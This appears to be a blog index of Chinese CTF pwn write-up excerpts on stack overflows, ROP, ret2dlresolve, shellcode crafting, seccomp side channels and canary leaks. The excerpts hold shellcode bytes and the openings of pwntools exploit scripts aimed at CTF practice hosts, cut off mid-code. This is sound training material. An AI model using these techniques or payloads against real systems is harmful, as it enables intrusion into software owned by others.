NSSCTF-GHCTF-2025-真会布置栈吗? 题解
题目 题目链接 checksec vmmap 没有 rwx 段, ret2shellcode 比较困难 IDA start 泄露了栈地址,有栈溢出 gadget xchg 是交换指令 攻击思路 其实就是 ret2syscall ,但是在栈的布局上要下点功夫,可以在一次输入内就完成攻击 布局思路:(其实就是利用 dispatcher 的特性让 rbx 拥有类似 rip 和 rsp 结合体的功能) 1234567 syscall_addr dispatcher xchg_addrr15 dispatcher xor_rsi_addrr13 print1 59 xor_rdx_addrrbx rsp↑ [stack]---->[ ]rdi print2 [stack]---->"/bin/sh\x00"rsi print3 gadget 整合一下: 123456789...
NSSCTF-CISCN-2022-login_normal 题解
题目 题目链接 checksec IDA main vuln root shellcode 有 shellcode 执行 攻击思路 读懂代码后发现难点主要在构造 printable shellcode 上 今天状态不好,没有深入研究,用的 ae64 ,之后会自己试着搓一个看看 exp 1234567891011121314151617181920212223from pwn import *from ae64 import AE64context.log_level = 'debug'context.arch = 'amd64'context.terminal = ['tmux', 'splitw', '-h']debug = 1if debug: io = process('./service')else: io = remote('node5.buuoj.cn', 26980)def attack(): payload = b...
LACTF2026-pwn 个人题解
tic-tac-no IDA main 井字棋 playerMove 数组越界写 checkWin 相同字符就胜利 bss 越界写把电脑的棋子变成自己的就行了,脚本都不用写 ScrabASM IDA main swap_tile play 其实就是执行随机生成的 shellcode ,但可以更换任意字节为随机字节 攻击思路 由于 srand 以时间作种子,可以考虑在同时运行本地随机数生成程序和攻击脚本以预测随机数,进而控制 shellcode 且由于只有 15 字节的空间,我们可以先执行 read shellcode 再自行写入提权 shellcode (这张图片用了队友 ItsFlicker 的,懒得自己再截了) 12345678910add al, 0xdpush raxpop rsixor edi, edipush rdipop raxmov dl, 0xf0syscall{ 0x04, 0x0D, 0x50, 0x5E, 0x31, 0xFF, 0x57, 0x58, 0xB2, 0xF0, 0x0F, 0x05 } exp c 12...
HGAME2026-pwn WriteUp
Heap1sEz checksec canary and pie malloc.c 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871...
BUUCTF-NewStarCTF-2023-dlresolve 题解
题目 题目链接 攻击思路 64 位下 ret2dlresolve 模板题 注意将返回地址覆盖为 plt 内容后可再接返回地址控制程序流程 注意 _dl_runtime_resolve 有点像 srop 会还原寄存器 exp 12345678910111213141516171819202122232425262728293031323334353637383940414243444546from pwn import *context.log_level = 'debug'context.arch = 'amd64'context.terminal = ['tmux', 'splitw', '-h']debug = 0if debug: io = process('./pwn_patched')else: io = remote('node5.buuoj.cn', 28062)link_map_base = 0x404800binsh_add...
glibc-2.31 ret2dlresolve 分析
重要结构 link_map 12345678910111213141516171819202122232425262728293031323334353637383940414243struct link_map { /* These first few members are part of the protocol with the debugger. This is the same format used in SVR4. */ ElfW(Addr) l_addr; /* Difference between the address in the ELF file and the addresses in memory. */ char *l_name; /* Absolute file name object was found in. */ ElfW(Dyn) *l_ld; /* Dynamic section of the shared object. */ struct link_ma...
NSSCTF-HNCTF-2022-ret2shellcode_level2 题解
题目 题目链接 checksec IDA bss 段为 rwx , buff 在 bss 段上,但是注意 strcpy 会被 \x00 截断,因此写入的 shellcode 不能有 \x00 白名单沙箱:仅允许 open 、 read 、 mmap 系统调用 没有 write ,因此考虑侧信道爆破,再加一点小巧思避免 \x00 出现即可 exp 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192from pwn import *context.log_level = 'info'context.arch = 'amd64'context.terminal = ['tmux', 'splitw', ...
BUUCTF-NewStarCTF-ret2csu2 题解
题目 题目链接 checksec 没有 canary 和 pie 但开了 Full RELRO ,要注意 .got 的只读属性 IDA 存在栈溢出,溢出长度较小,考虑栈迁移 攻击思路 栈迁移即可, leak 出 libc 基址后,利用 csu 构造 rop 链时考虑使用栈拼接的技巧 exp 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071from pwn import *from onegadget_selector import *context.log_level = 'debug'context.arch = 'amd64'context.terminal = ['tmux', 'splitw', '-h']libcoffsetdict = {...
BUUCTF-ZJCTF-2019-Login 题解
题目 题目链接 checksec 存在 canary 保护 IDA main 一个简单的登录系统 观察到 [rbp-0x130] ,它来自于 password_checker 的 rax Admin_password_checker snprintf 这里有一个坑, src 和 dest 相同会产生 buffer overlap 的问题,产生非预期结果,而使用 ‘\x00’ 可以截断这种行为 其实经过动调可知,我们应该劫持 a1 为后门函数地址 Admin_password_checker_asm 上面的 a1 即此处的 rax ,为 rdi 解两层引用,接下来回到 main 去溯源 rdi main_asm rdi 溯源至 rbp - 0x130 ,注意并不是 [rbp - 0x130] , [rbp - 0x130] 溯源至 password_checker 后的 rax password_checker_asm rax 溯源至 rbp - 0x18 ,注意并不是 [rbp - 0x18] ,由此 call rax 中的 rax 最终溯源 [rbp - 0x18...
N1Junior2026-pwn WriteUp
ez_canary 拿到附件,发现有两个二进制文件: client 和 server ,核心在 server checksec server 有 canary 保护 IDA main 当 client 与 server 连接时 server 用 fork 创建子进程 pwnhandler pwnhandler 允许修改 rbp 和 ret gift gift 有栈溢出 攻击思路 server 限制了连接次数为 4 次,之后会重启父进程,因此爆破 canary 行不通 于是考虑利用两次连接 第一次连接:利用栈迁移 leak 出 canary :先操纵 rbp 到 bss 段上,然后重新调用 pwnhandler 写入 canary 并再一次获得操纵 rbp 和 ret 的机会;于是将 rbp 操纵至原 rbp + 0x19 的位置并劫持返回地址到 pwnhandler 的 write 部分上即可读取 canary 第二次连接:进入 gift 打一遍 ret2libc 即可 exp 12345678910111213141516171819202122232425262728...